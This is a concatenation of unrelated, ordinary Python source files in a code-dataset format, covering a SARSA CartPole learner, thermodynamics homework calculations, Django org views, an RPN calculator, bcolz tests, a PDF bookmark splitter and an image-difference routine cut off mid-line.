}\n ratiotable.upsert(row, query.ds == dset)\n\n\n \n\n\nif __name__==\"__main__\":\n main()\n","sub_path":"attic/apps/Am241_Analysis.py","file_name":"Am241_Analysis.py","file_ext":"py","file_size_in_byte":6762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"330371005","text":"tx= 0.08250 # Texas Sales Tax\nx = [249.99,329.99,399.99,649.99]# item price\ny=['iPad 10.2 (32GB)','iPad 10.2 (128GB)','iPad Air (64GB)']\n\nt = 70 # tradein\n\ntamano = len(x)\n\n#answer = str(round(answer, 2))\n\nfor i in range(tamano):\n total = (x[i] - t) + (x[i] * tx)\n total = str(round(total, 2)) # round 2 decimal places\n #print(f'{y[i]}\\n Price: ${x[i]}\\t Total: ${total}\\n')\n \n print(f'{y[i]} \\tTotal: ${total}')\n #print(y[i],\"\\t\",x[i],'-',t,'=','$',total)","sub_path":"Personal/prices.py","file_name":"prices.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"169880890","text":"\n\nclass parser:\n def __init__(self, code):\n self.code = code\n self.pos = 0\n\n def curC(self, offset=0):\n if self.pos >= len(self.code): return None\n return self.code[self.pos]\n\n def nextC(self):\n self.pos += 1\n\n def matchC(self, c):\n if self.curC() == c:\n self.nextC()\n return True\n return False\n\n def parseAtom(self):\n d = self.pos\n while self.curC() and self.curC().isalpha():\n self.nextC()\n return self.code[d:self.pos]\n\n def parseList(self):\n newList = []\n while not self.matchC(\"]\"):\n newList.append(self.parseValue())\n return newList\n\n def parseValue(self):\n while self.curC():\n if self.curC().isalpha():\n return self.parseAtom()\n elif self.matchC(\"[\"):\n return self.parseList()\n elif self.curC() == ',':\n self.nextC()\n else:\n raise SyntaxError(\"Char %s isn't expected\" % self.curC())\n raise RuntimeError(\"Not sure what it means\")\n\n def parse(self):\n newList = []\n while self.curC():\n if self.curC().isalpha():\n d = self.pos\n while self.curC() and self.curC().isalpha():\n self.nextC()\n newList.append(self.code[d:self.pos])\n elif self.curC() == ',':\n self.nextC()\n else:\n raise SyntaxError(\"Char %s isn't expected\" % self.curC())\n return newList\n\n def parse(self):\n # return self.pv()\n return self.parseValue()\n\n\ndef parse(code):\n i = 0\n c = lambda n=0: (i+n) < len(code) and code[i+n] or None\n while True:\n if c() is None: break\n elif c().isalpha():\n d = i\n while c() and c().isalpha(): i += 1\n yield code[d:i]\n i += 1\n\n\ndef test0():\n print(list(parse(\"a\")))\n assert(list(parse(\"a\")) == [\"a\"])\n print(list(parse(\"a,b\")))\n assert(list(parse(\"a,b\")) == [\"a\", \"b\"])\n print(list(parse(\"abc,de\")))\n assert(list(parse(\"abc,de\")) == [\"abc\", \"de\"])\n\n\ndef test1():\n P = lambda i: parser(i).parse()\n print(P(\"a\"))\n print(P(\"abc,de\"))\n print(P(\"[abc,de]\"))\n print(P(\"[abc,de,[fg,hij]]\"))\n\n\n\nif __name__ == '__main__':\n test0()\n test1()\n","sub_path":"media/pr/rc/2018-07-12/2018-07-12.py","file_name":"2018-07-12.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"572857044","text":"\"\"\"\nSARSA:\n- Type of temporal difference learning, don't wait for end of episode to learn\n- Model free\n- On policy control algorithm\n- Bootstrapping: use estimates to make more estimates\n\nAlgorithm:\n1. Initialize alpha(learning rate)\n2. Initialize Q(s,a)\n3. Initialize S\n4. Choose A(S) using epsilon greedy from Q\nLoop:\n 1. Take action a, get reward r and next state s'\n 2. Choose a' in s' using epsilon greedy from Q\n 3. Q(s,a) -> Q(s, a) + alpha[r + gamma*Q(s',a') - Q(s,a)]\n 4. s -> s', a -> a'\n\"\"\"\n\nimport gym\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef maxAction(Q, state):\n values = np.array([Q[state, a] for a in range(2)])\n action = np.argmax(values)\n return action\n\n\n# discretize the spaces\npoleThetaSpace = np.linspace(-0.20943951, 0.20943951, 10)\npoleThetaVelSpace = np.linspace(-4, 4, 10)\ncartPosSpace = np.linspace(-2.4, 2.4, 10)\ncartVelSpace = np.linspace(-4, 4, 10)\n\n\ndef getState(observation):\n cartX, cartXdot, cartTheta, cartThetadot = observation\n cartX = int(np.digitize(cartX, cartPosSpace))\n cartXdot = int(np.digitize(cartXdot, cartVelSpace))\n cartTheta = int(np.digitize(cartTheta, poleThetaSpace))\n cartThetadot = int(np.digitize(cartThetadot, poleThetaVelSpace))\n\n return (cartX, cartXdot, cartTheta, cartThetadot)\n\n\nif __name__ == '__main__':\n env = gym.make('CartPole-v0')\n\n # model hyperparameters\n ALPHA = 0.1\n GAMMA = 0.9\n EPS = 1.0\n\n # construct state space\n states = []\n for i in range(len(cartPosSpace)+1):\n for j in range(len(cartVelSpace)+1):\n for k in range(len(poleThetaSpace)+1):\n for l in range(len(poleThetaVelSpace)+1):\n states.append((i, j, k, l))\n\n Q = {}\n for s in states:\n for a in range(2):\n Q[s, a] = 0\n\n numGames = 50000\n totalRewards = np.zeros(numGames)\n for i in range(numGames):\n if i % 5000 == 0:\n print('starting game', i)\n\n # cart x position, cart velocity, pole theta, pole velocity\n observation = env.reset()\n s = getState(observation)\n rand = np.random.random()\n a = maxAction(Q, s) if rand < (1 - EPS) else env.action_space.sample()\n\n done = False\n epRewards = 0\n\n while not done:\n\n observation_, reward, done, info = env.step(a)\n s_ = getState(observation_)\n rand = np.random.random()\n a_ = maxAction(Q, s_) if rand < (\n 1-EPS) else env.action_space.sample()\n epRewards += reward\n Q[s, a] = Q[s, a] + ALPHA*(reward + GAMMA*Q[s_, a_] - Q[s, a])\n s, a = s_, a_\n\n EPS -= 2/(numGames) if EPS > 0 else 0\n totalRewards[i] = epRewards\n\n plt.plot(totalRewards, 'b--')\n plt.show()\n","sub_path":"main_sarsa.py","file_name":"main_sarsa.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"322003065","text":"from __future__ import division\nfrom specific_heats import *\nfrom formation import *\nfrom phase_change import *\nfrom scipy.optimize import fsolve\n\n####################################################################################################\n# 6.1\n\nH_sys = del_H('Zr_b', 1600, phase_T('Zr') ) + del_H('O2_g', 1600, 298) - phase_H('Zr') + del_H('Zr_a', phase_T('Zr'), 298) + H_for('ZrO2') - H_for('O2') - H_for('Zr') + del_H('ZrO2_a', 298, phase_T('ZrO2')) + phase_H('ZrO2') + del_H('ZrO2_b', phase_T('ZrO2'), 1600)\nS_sys = del_S('Zr_b', 1600, phase_T('Zr') ) + del_S('O2_g', 1600, 298) - phase_S('Zr') + del_S('Zr_a', phase_T('Zr'), 298) + S_for('ZrO2') - S_for('O2') - S_for('Zr') + del_S('ZrO2_a', 298, phase_T('ZrO2')) + phase_S('ZrO2') + del_S('ZrO2_b', phase_T('ZrO2'), 1600)\n\n\nprint('6.1 : del_H = ' + str(int(H_sys)) + ' J, del_S = ' + str(S_sys) + ' J/K.')\n\n####################################################################################################\n# 6.3\n\nH_sys = del_H('CaO', 1000, 298) + del_H('TiO2', 1000, 298) + H_for('CaTiO3') - H_for('CaO') - H_for('TiO2') + del_H('CaTiO3', 298, 1000)\nS_sys = del_S('CaO', 1000, 298) + del_S('TiO2', 1000, 298) + S_for('CaTiO3') - S_for('CaO') - S_for('TiO2') + del_S('CaTiO3', 298, 1000)\n\nprint('6.3 : del_H = ' + str(int(H_sys)) + ' J, del_S = ' + str(S_sys) + ' J/K.')\n\n####################################################################################################\n# 6.4\n\nalpha = 0.493 * 10**-3 # K^-1\nv = 7.09 / (100**3) # m^3\nP_1 = 101325 # Pa (1 atm)\nP_2 = 101325 * 1000 # Pa (1000 atm)\nT_iso = 298 # K (Isothermal temperature)\n\ndel_H_pressure = v * (1 - alpha * T_iso) * (P_2 - P_1)\n\n# Solving for the temperature the system will be for an equivalent enthalpy change for pressure (or when the difference between the two will be 0).\ndiff = lambda T: del_H_pressure - del_H('Cu_s', 298, T)\nsoln = fsolve( diff, 332)[0]\n\nprint('6.4 : The change in molar enthalpy is ' + str(int(del_H_pressure)) + ' J/mol. Temp = ' + str(int(soln)) + ' K.')\n\n####################################################################################################\n# 6.5\n# part a\n\nH_rxn_a = H_for('Ti2O3') - 2 * H_for('TiO') - 0.5 * H_for('O2')\nS_rxn_a = S_for('Ti2O3') - 2 * S_for('TiO') - 0.5 * S_for('O2')\n\n# part b\n\nH_rxn_b = 2 * H_for('Ti3O5') - 3 * H_for('Ti2O3') - 0.5 * H_for('O2')\nS_rxn_b = 2 * S_for('Ti3O5') - 3 * S_for('Ti2O3') - 0.5 * S_for('O2')\n\n# part c\n\nH_rxn_c = 3 * H_for('TiO2') - H_for('Ti3O5') - 0.5 * H_for('O2')\nS_rxn_c = 3 * S_for('TiO2') - S_for('Ti3O5') - 0.5 * S_for('O2')\n\nprint('6.5, part a : del_H = ' + str(int(H_rxn_a)) + ' J, del_S = ' + str(S_rxn_a) + ' J/K.')\nprint('6.5, part b : del_H = ' + str(int(H_rxn_b)) + ' J, del_S = ' + str(S_rxn_b) + ' J/K.')\nprint('6.5, part c : del_H = ' + str(int(H_rxn_c)) + ' J, del_S = ' + str(S_rxn_c) + ' J/K.')\n\n####################################################################################################\n# 6.7\n\n# CH4 + 2 O2 -> CO2 + 2 H20\n# assume a 1 mole CH4 basis.\n# assume complete combustion\n\n# part a\n\nratio = 2.0 # mole O2 / moles CH4\nn_CH4 = 1\nn_O2 = n_CH4 * ratio\nn_CO2 = n_CH4 # 1:1 molar ratio\nn_H2O = n_CH4 * 2 # 2:1 molar ratio\n\n# Heat of reaction at 298 K\nh_rxn = -1 * (n_H2O * H_for('H2O_g') + n_CO2 * H_for('CO2') - n_CH4 * H_for('CH4') - n_O2 * H_for('O2'))\n\n# Solving for the temperature when the h_rxn = the temperature change of the products\ndiff = lambda T: h_rxn - n_CO2 * del_H('CO2', 298, T) - n_H2O * del_H('H2O_g', 298, T)\nsoln = fsolve(diff, 4750)[0]\n\nprint('6.7, part a : Temp = ' + str(soln) + ' K.')\n\n# part b\n\n# Now we have nitrogen in the system. This will result in a lower final temperature.\nratio_air = 9.524 # moles air / moles CH4\nratio_O2 = 0.21 # mole O2 / mole air\nratio_N2 = 0.79 # mole N2 / mole air\n\nn_CH4 = 1\nn_O2 = n_CH4 * ratio_air * ratio_O2\nn_N2 = n_CH4 * ratio_air * ratio_N2\nn_CO2 = n_CH4 # 1:1 molar ratio\nn_H20 = n_CH4 * 2 # 2:1 molar ratio\n\n# Solving for the temperature when the h_rxn = the temperature change of the products\ndiff = lambda T: h_rxn - n_CO2 * del_H('CO2', 298, T) - n_H2O * del_H('H2O_g', 298, T) - n_N2 * del_H('N2', 298, T)\nsoln = fsolve(diff, 2300)[0]\n\nprint('6.7, part b : Temp = ' + str(soln) + ' K.')\n\n\n\n####################################################################################################\n# 6.8\n\n# del_G = del_H + T * del_S\nT = 800 # K (System Temperature)\n\n# Change of enthalpy and entropy for the reaction at 298 K.\nH_rxn = 3 * H_for('SiO2') + 2 * H_for('N2') - H_for('Si3N4') - 3 * H_for('O2')\nS_rxn = 3 * S_for('SiO2') + 2 * S_for('N2') - S_for('Si3N4') - 3 * S_for('O2')\n\n# Change of enthalpy, entropy, and gibbs free energy for the reaction at 800 K.\nH_total = del_H('Si3N4', 800, 298) + 3 * del_H('O2_g', 800, 298) + H_rxn + 3 * del_H('SiO2', 298, 800) + 2 * del_H('N2', 298, 800)\nS_total = del_S('Si3N4', 800, 298) + 3 * del_S('O2_g', 800, 298) + S_rxn + 3 * del_S('SiO2', 298, 800) + 2 * del_S('N2', 298, 800)\nG_total = H_total - T * S_total\n\nprint('6.8 : ')\nprint('The change in gibbs will be ' + str(int(G_total)) + ' J.')\n\n# If del_Cp = 0, that means the heat required to bring the reactancts down from 800 K to 298 K is equal to the heat required to bring the products from 298 to 800 K.\n# This is equivalent to saying the del_H(298) = del_H(800).\n\nG_new = H_rxn - T * S_total\nprint('If it is assumed that del_Cp = 0, the change in gibbs will be ' + str(int(G_new)) + ' J.')\n\npercent = (G_total - G_new) * 100 / G_total\nprint('This results in a ' + str(percent) + ' percent error between the two gibbs energies.')\n","sub_path":"HW_102716.py","file_name":"HW_102716.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"534109283","text":"\"\"\"\n6. Faça um programa que imprima na tela apenas os números ímpares entre 1 e 50.\n\"\"\"\nfrom time import sleep\nn = 0\nprint(\"Carregando....\")\nsleep(2)\nfor c in range(1,50):\n if c % 2 != 0:\n print(c, end=' - ')\n c += 1\nprint(\"Fim\")","sub_path":"Lista03/ex006.py","file_name":"ex006.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"232637877","text":"from django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.http import Http404\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.shortcuts import get_object_or_404\n\nfrom mrbelvedereci.build.utils import view_queryset\nfrom mrbelvedereci.cumulusci.models import Org\nfrom mrbelvedereci.cumulusci.models import ScratchOrgInstance\n\n@staff_member_required\ndef org_detail(request, org_id):\n org = get_object_or_404(Org, id=org_id)\n query = {'org': org}\n builds = view_queryset(request, query)\n instances = org.instances.filter(deleted=False)\n\n context = {\n 'builds': builds,\n 'org': org,\n 'instances': instances,\n } \n return render(request, 'cumulusci/org_detail.html', context=context)\n \n@staff_member_required\ndef org_login(request, org_id, instance_id=None):\n org = get_object_or_404(Org, id=org_id)\n\n # For non-scratch orgs, just log into the org\n if not org.scratch:\n org_config = org.get_org_config()\n return HttpResponseRedirect(org_config.start_url)\n\n # If an instance was selected, log into the org\n if instance_id:\n instance = get_object_or_404(ScratchOrgInstance, org_id=org_id, id=instance_id)\n\n # If the org is deleted, render the org deleted template\n if instance.deleted:\n raise Http404(\"Cannot log in: the org instance is already deleted\")\n\n # Log into the scratch org\n org_config = instance.get_org_config()\n return HttpResponseRedirect(org_config.start_url)\n\n raise Http404()\n\n@staff_member_required\ndef org_instance_delete(request, org_id, instance_id):\n instance = get_object_or_404(ScratchOrgInstance, org_id=org_id, id=instance_id)\n \n context = {\n 'instance': instance,\n }\n if instance.deleted:\n raise Http404(\"Cannot delete: this org instance is already deleted\")\n\n try:\n instance.delete_org()\n except:\n return render(request, 'cumulusci/org_delete_failed.html', context=context)\n return HttpResponseRedirect(instance.get_absolute_url())\n\n@staff_member_required\ndef org_instance_detail(request, org_id, instance_id):\n instance = get_object_or_404(ScratchOrgInstance, org_id=org_id, id=instance_id)\n query = {'org_instance': instance}\n builds = view_queryset(request, query)\n\n context = {\n 'builds': builds,\n 'instance': instance,\n } \n return render(request, 'cumulusci/org_instance_detail.html', context=context)\n","sub_path":"mrbelvedereci/cumulusci/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"418225811","text":"a=[]\noperations ={'+': lambda x,y: y+x, '-': lambda x,y: y-x, '*': lambda x,y: y*x,'/': lambda x,y:y/x,'^': lambda x,y:y**x}\n\n'''\nfor c in '3 4 2 * 1 5 - 2 3 ^ ^ / +'.split():\n if c in b: a.append(b[c](a.pop(),a.pop()))\n else: a.append(float(c))\n print c, a\n\n# -------YOUR HOME FUNCTION\ndef calc(expression):\n tokens = expression.split()\n stack = []\n\n for token in tokens:\n if token in operations:\n step1 = stack.pop()\n step2 = stack.pop()\n result = operations[token](step1,step2)\n stack.append(result)\n else:\n stack.append(int(token))\n return stack.pop()\n\nprint(calc (\"1 2 + \"))\nprint(calc (\"990 1 2 + *\"))\nprint(calc (\"1000 990 1 2 + * +\"))\n\n'''\n#TESTING\nbanana_bag = \"5 3 - 4 * \"\npalm_tree = {'+': lambda x,y: y+x, '-': lambda x,y: y-x, '*': lambda x,y: y*x,'/': lambda x,y:y/x,'^': lambda x,y:y**x}\nstack = []\nbananas = banana_bag.split()\nfor banana in bananas:\n if banana in palm_tree:\n step1 = stack.pop()\n print('step1',step1)\n step2 = stack.pop()\n print('step2',step2)\n result = operations[banana](step1, step2)\n print('result', result)\n stack.append(result)\n print('append',stack.append(result))\n else:\n stack.append(int(banana))\n #print('elseappend',stack.append(int(banana)))\n# print(stack.append(int(banana)))\nprint(stack.pop())\n","sub_path":"RPNcalc.py","file_name":"RPNcalc.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"343440772","text":"from __future__ import absolute_import, division, print_function\n\nfrom into.backends.bcolz import (create, append, convert, ctable, carray,\n resource, discover)\nfrom into.chunks import chunks\nfrom into import into, append, convert, resource, discover\nimport numpy as np\nfrom into.utils import tmpfile\nimport os\n\n\ndef eq(a, b):\n c = a == b\n if isinstance(c, np.ndarray):\n c = c.all()\n return c\n\n\na = carray([1, 2, 3, 4])\nx = np.array([1, 2])\n\n\ndef test_discover():\n assert discover(a) == discover(a[:])\n\ndef test_convert():\n assert isinstance(convert(carray, np.ones([1, 2, 3])), carray)\n b = carray([1, 2, 3])\n assert isinstance(convert(np.ndarray, b), np.ndarray)\n\n\ndef test_chunks():\n c = convert(chunks(np.ndarray), a, chunksize=2)\n assert isinstance(c, chunks(np.ndarray))\n assert len(list(c)) == 2\n assert eq(list(c)[1], [3, 4])\n\n assert eq(convert(np.ndarray, c), a[:])\n\n\ndef test_append_chunks():\n b = carray(x)\n append(b, chunks(np.ndarray)([x, x]))\n assert len(b) == len(x) * 3\n\n\ndef test_append_other():\n b = carray(x)\n append(b, convert(list, x))\n assert len(b) == 2 * len(x)\n\n\ndef test_resource_ctable():\n with tmpfile('.bcolz') as fn:\n os.remove(fn)\n r = resource(fn, dshape='var * {name: string[5, \"ascii\"], balance: int32}')\n\n assert isinstance(r, ctable)\n assert r.dtype == [('name', 'S5'), ('balance', 'i4')]\n\n\ndef test_resource_carray():\n with tmpfile('.bcolz') as fn:\n os.remove(fn)\n r = resource(fn, dshape='var * int32')\n\n assert isinstance(r, carray)\n assert r.dtype == 'i4'\n\n\ny = np.array([('Alice', 100), ('Bob', 200)],\n dtype=[('name', 'S7'), ('amount', 'i4')])\n\ndef test_convert_numpy_to_ctable():\n b = convert(ctable, y)\n assert isinstance(b, ctable)\n assert eq(b[:], y)\n\n\ndef test_resource_existing_carray():\n with tmpfile('.bcolz') as fn:\n os.remove(fn)\n r = resource(fn, dshape=discover(y))\n append(r, y)\n r.flush()\n\n r2 = resource(fn)\n assert eq(r2[:], y)\n\n\n","sub_path":"into/backends/tests/test_bcolz.py","file_name":"test_bcolz.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"53497216","text":"from PyPDF2 import PdfFileReader, PdfFileWriter\r\nimport array as arr\r\nimport os\r\nfrom os import path\r\nimport sys\r\nimport errno\r\nimport time # import datetime # now = datetime.date.today()\r\nfrom pathlib import Path\r\n\r\n# pdfArray = []\r\n\r\ndef createFolder(directory):\r\n try:\r\n if not os.path.exists(directory):\r\n os.makedirs(directory) # print(os.listdir())\r\n except OSError:\r\n print ('Error: Creating directory. ' + directory)\r\ndef splitPDF():\r\n\t# print(\"\\033c\", end=\"\")\r\n\tprint(\"Welcome to the Image File Wrapper Splitter!\")\r\n\t\r\n\tif len(sys.argv) > 1:\r\n\t\tFileNumber = sys.argv[1]\r\n\t\tFileNumber = FileNumber.replace('\"', '')\r\n\t\tprint(\"\\nThis is your selected PDF: \" + FileNumber)\r\n\telse:\r\n\t\tFileNumber = input(\"\\nDrag your selected PDF into this window and press Enter.\\n(You might need to click inside this window after dragging it in.)\\n\")\r\n\t\tFileNumber = FileNumber.replace('\"', '')\t\r\n\r\n\tdoTheRest(FileNumber)\r\n\r\ndef doTheRest(FileNumber):\r\n\tpdf = PdfFileReader(open(FileNumber, \"rb\"))\r\n\tbookmarks = pdf.getOutlines()\r\n\ta = arr.array('i', [])\r\n\r\n\tif not bookmarks:\r\n\t\tprint(\"\\nI don't see any bookmarks in this file.\\n\\nTry re-downloading the PDF from PAIR.\")\r\n\t\ttime.sleep(2)\r\n\t\treturn\r\n\r\n\tfor b in bookmarks:\r\n\t\ta.append(pdf.getDestinationPageNumber(b) + 1) # starts at 1, not 0\r\n\r\n\ta.append(pdf.getNumPages())\r\n\tClientCode = input(\"\\nClient Code to Append:\\n\")\r\n\tp = Path(FileNumber)\r\n\r\n\tcreateFolder(str(p.parent) + '/' + ClientCode + '/')\r\n\tnewArray = []\r\n\r\n\ty = 1\r\n\tfor x in range(len(a) - 1):\r\n\t\tbeg = a[x]\r\n\t\tend = a[y] - 1\r\n\t\tlength = a[x + 1] - a[x]\r\n\t\tnewArray.append([beg, end, length])\r\n\t\ty += 1 \r\n\r\n\tnewArray[len(newArray) - 1][1] += 1\r\n\tnewArray[len(newArray) - 1][2] += 1\r\n\r\n\tx = 0\r\n\tpageNum = 0\r\n\tdupes = 0\r\n\tfor i in newArray:\r\n\t\tpdf_writer = PdfFileWriter()\r\n\t\r\n\t\tj = 0\r\n\t\twhile j < i[2]: # i[2] is length of document \r\n\t\t\tpdf_writer.addPage(pdf.getPage(pageNum)) \r\n\t\t\tpageNum += 1\r\n\t\t\tj += 1\r\n\r\n\t\ttempTemp = pdf.outlines[x].title.replace('/', '_')\r\n\t\ttempTemp = tempTemp.replace(':', '_')\r\n\t\ttempTemp = tempTemp.replace('\\\\', '_')\r\n\t\ttempTemp = tempTemp.replace('>', '_')\r\n\t\ttempTemp = tempTemp.replace('<', '_')\r\n\t\ttempTemp = tempTemp.replace('|', '_')\r\n\t\ttempTemp = tempTemp.replace('*', '_')\r\n\t\ttempTemp = tempTemp.replace('?', '_')\r\n\t\ttempTemp = tempTemp.replace('Non-Final Rejection', 'Office Action')\r\n\t\t\r\n\t\toutputFilename = tempTemp + \" - \" + ClientCode\r\n\t\r\n\t\tsavedFile = str(p.parent) + '/' + ClientCode + '/' + outputFilename\r\n\t\t\r\n\t\tprint(savedFile + '.pdf')\r\n\t\t\r\n\t\tif os.path.exists(savedFile + '.pdf'):\r\n\t\t\tprint(\"exists | \" + savedFile + '.pdf')\r\n\t\t\tdupes += 1\r\n\t\t\tq = 2\r\n\t\t\twhile q < 10:\r\n\t\t\t\tprint(\"is this working?: \" + str(q))\r\n\t\t\t\tsavedFile = outputFilename = tempTemp + \" \" + str(q) + \" - \" + ClientCode\r\n\t\t\t\t\r\n\t\t\t#\tprint(save\r\n\t\t\t\t\r\n\t\t\t\tif os.path.exists(savedFile + \".pdf\"):\r\n\t\t\t\t\tq += 1\r\n\t\t\t\telse:\r\n\t\t\t\t\toutputFilename = tempTemp + ' ' + str(q) + \" - \" + ClientCode\r\n\t\t\t\t\tsavedFile = str(p.parent) + '/' + ClientCode + '/' + outputFilename\t\r\n\t\t\t\t\tbreak\r\n\t\t\t\r\n\t\t\twith open(savedFile + \".pdf\", \"xb\") as out:\r\n\t\t\t\tpdf_writer.write(out)\r\n\t\t\t\tprint(\"created \", outputFilename)\t\r\n\t\telse:\r\n\t\t\twith open(savedFile + \".pdf\", \"xb\") as out:\r\n\t\t\t\tpdf_writer.write(out)\r\n\t\t\t\tprint(\"created \", outputFilename)\t\t\r\n\r\n\t\tx += 1\r\n\r\n\tif dupes == 0:\r\n\t\tprint(\"\\nAnd we're done! You can find the split files in the same directory as your PDF.\")\r\n\t\tprint(\"I also renamed any Non-Final Rejections to say Office Action.\")\r\n\telse:\r\n\t\tprint(\"\\nAnd we're done! I found and renamed \" + str(dupes) + \" duplicates. They will now have a number on the end.\")\r\n\t\tprint(\"I also renamed any Non-Final Rejections to say Office Action.\")\t\t\r\n\ttime.sleep(3)\r\n\treturn\r\n\r\nsplitPDF()","sub_path":"Splitter.py","file_name":"Splitter.py","file_ext":"py","file_size_in_byte":3724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"445307690","text":"import numpy as np\nimport random\n\ndef _get_valid_pixels(image, keep_clarity):\n\tindexes = []\n\tfor i in xrange(len(image)):\n\t\tv = image[i]\n\t\tif v < keep_clarity: continue\n\t\tindexes.append(i)\n\treturn indexes\n\n\ndef difference(t_img, p_img, size, keep_clarity = 0.3, learning_rate = 0.8, train_error = 0.1):\n\tassert(np.shape(t_img) == size)\n\tassert(np.shape(p_img) == size)\n\tt_img = np.reshape(t_img, [-1])\n\tp_img = np.reshape(p_img, [-1])\n\tw, h = size\n\n\tdef _ij2idx(i, j): return i * w + j\n\tdef _idx2ij(idx): return idx / w, idx % w\n\tdef _pixel(img, i, j):\n\t\tidx = _ij2idx(i, j) \n\t\tif idx < 0 or idx >= w*h: return False, 0\n\t\treturn True, img[idx]\n\n\t# get valid points of target image\n\tvalid_indexes = _get_valid_pixels(t_img, keep_clarity)\n\tif(len(valid_indexes) == 0): return 1\n\n\t# initialize shift for train\n\tshift = np.array([0.0, 0.0])\n\tdistance = 0.0\n\t\n\tdef train():\n\t\t# totoal distance \n\t\ttotal_distance = 0\n\n\t\t# new shift will be generated in this train step\n\t\tdelta_shift = np.array([0, 0])\n\n\t\t# tranverse all valid points of target image\n\t\tfor index in valid_indexes:\n\t\t\tt_i, t_j = _idx2ij(index)\n\n\t\t\t# predict image has pixel on index then continie\n\t\t\tp_ij = np.round([t_i, t_j] + shift).astype(int)\n\t\t\tp_i, p_j = p_ij\n\t\t\tret, px = _pixel(p_img, p_i, p_j)\n\t\t\tif not ret:\n\t\t\t\t#print(\"t_img:[{0} {1}] p_img:[{2}, {3}] out of range ##\".format(t_i, t_j, p_i, p_j))\n\t\t\t\tcontinue\n\n\t\t\tif px >= keep_clarity: \n\t\t\t\t#print(\"t_img:[{0} {1}] p_img:[{2}, {3}] bing go !!\".format(t_i, t_j, p_i, p_j))\n\t\t\t\tcontinue\n\n\t\t\t\n\t\t\tradius = 1 # search radius\n\t\t\tv_count = 0 # how many valid pixel are\n\t\t\tshift_loc = np.array([0, 0])\n\n\t\t\t# LOOP2 \n\t\t\twhile True:\n\t\t\t\t# clockwise search, one step\n\t\t\t\tin_range = False\n\t\t\t\tfor r in xrange(radius):\n\t\t\t\t\t#print(\"r/radius: {0}/{1}\".format(r, radius))\n\t\t\t\t\t# top-right\n\t\t\t\t\td = [r, radius-r]\n\t\t\t\t\tp = p_ij + d\n\t\t\t\t\t#print(\"t-r:\", p)\n\t\t\t\t\tret, v = _pixel(p_img, p[0], p[1])\n\t\t\t\t\tif ret: in_range = ret\n\t\t\t\t\tif v >= keep_clarity: \n\t\t\t\t\t\tv_count += 1\n\t\t\t\t\t\tshift_loc += d\n\t\t\t\t\t\t#print(\"t-r:\", p)\n\n\t\t\t\t\t# down-right\n\t\t\t\t\td = [radius-r, -r]\n\t\t\t\t\tp = p_ij + d\n\t\t\t\t\t#print(\"d-r:\", p)\n\t\t\t\t\tret, v = _pixel(p_img, p[0], p[1])\n\t\t\t\t\tif ret: in_range = ret\n\t\t\t\t\tif v >= keep_clarity: \n\t\t\t\t\t\tv_count += 1\n\t\t\t\t\t\tshift_loc += d\n\t\t\t\t\t\t#print(\"d-r:\", p)\n\n\t\t\t\t\t# down-left\n\t\t\t\t\td = [-r, r-radius]\n\t\t\t\t\tp = p_ij + d\n\t\t\t\t\t#print(\"d-l:\", p)\n\t\t\t\t\tret, v = _pixel(p_img, p[0], p[1])\n\t\t\t\t\tif ret: in_range = ret\n\t\t\t\t\tif v >= keep_clarity: \n\t\t\t\t\t\tv_count += 1\n\t\t\t\t\t\tshift_loc += d\n\t\t\t\t\t\t#print(\"d-l:\", p)\n\n\t\t\t\t\t# top-left\n\t\t\t\t\td = [r-radius, r]\n\t\t\t\t\tp = p_ij + d\n\t\t\t\t\t#print(\"t-l:\", p)\n\t\t\t\t\tret, v = _pixel(p_img, p[0], p[1])\n\t\t\t\t\tif ret: in_range = ret\t\t\n\t\t\t\t\tif v >= keep_clarity: \n\t\t\t\t\t\tv_count += 1\n\t\t\t\t\t\tshift_loc += d\n\t\t\t\t\t\t#print(\"t-l:\", p)\n\n\t\t\t\t# find map pixels\n\t\t\t\tif v_count > 0:\n\t\t\t\t\t#print(\"t_img:[{0} {1}] p_img:[{2}, {3}] radius:{4} shift_loc:{5} v_count:{6}\".format(t_i, t_j, p_i, p_j, radius, shift_loc, v_count))\n\t\t\t\t\tdelta_shift += shift_loc / v_count\t\n\t\t\t\t\ttotal_distance += radius * t_img[index]\n\t\t\t\t\tbreak\n\t\t\t\t\n\t\t\t\t# out of range\n\t\t\t\tif not in_range: break\n\n\t\t\t\t# expand search radius\n\t\t\t\tradius += 1\n\n\t\t\t#| end of LOOP2\n\t\t#| for index in valid_indexes:\n\n\t\t# nomalize delta_shift\n\t\tdelta_shift /= len(valid_indexes)\n\t\t#print(\"delta_shift: {0}\".format(delta_shift))\n\n\t\t# new_shift \n\t\tnew_shift = shift + delta_shift\n\n\t\treturn new_shift, total_distance\n\t\t\n\t# train loop\n\tstep = 1\n\twhile True:\n\t\t#print(\"\\ntrain step {0}\".format(step))\n\t\t# train once\n\t\t#print(\"####cur_shift:\", shift)\n\t\tnew_shift, distance = train()\n\n\t\t# update shift\n\t\tpre_shift = shift\n\t\tshift = (1-learning_rate) * shift + learning_rate * new_shift\n\n\t\t# calculate errors\n\t\tdiff = np.abs(shift - pre_shift)\n\t\t#print(\"update shift:{0} distance:{1} loss:{2}\".format(shift, distance, 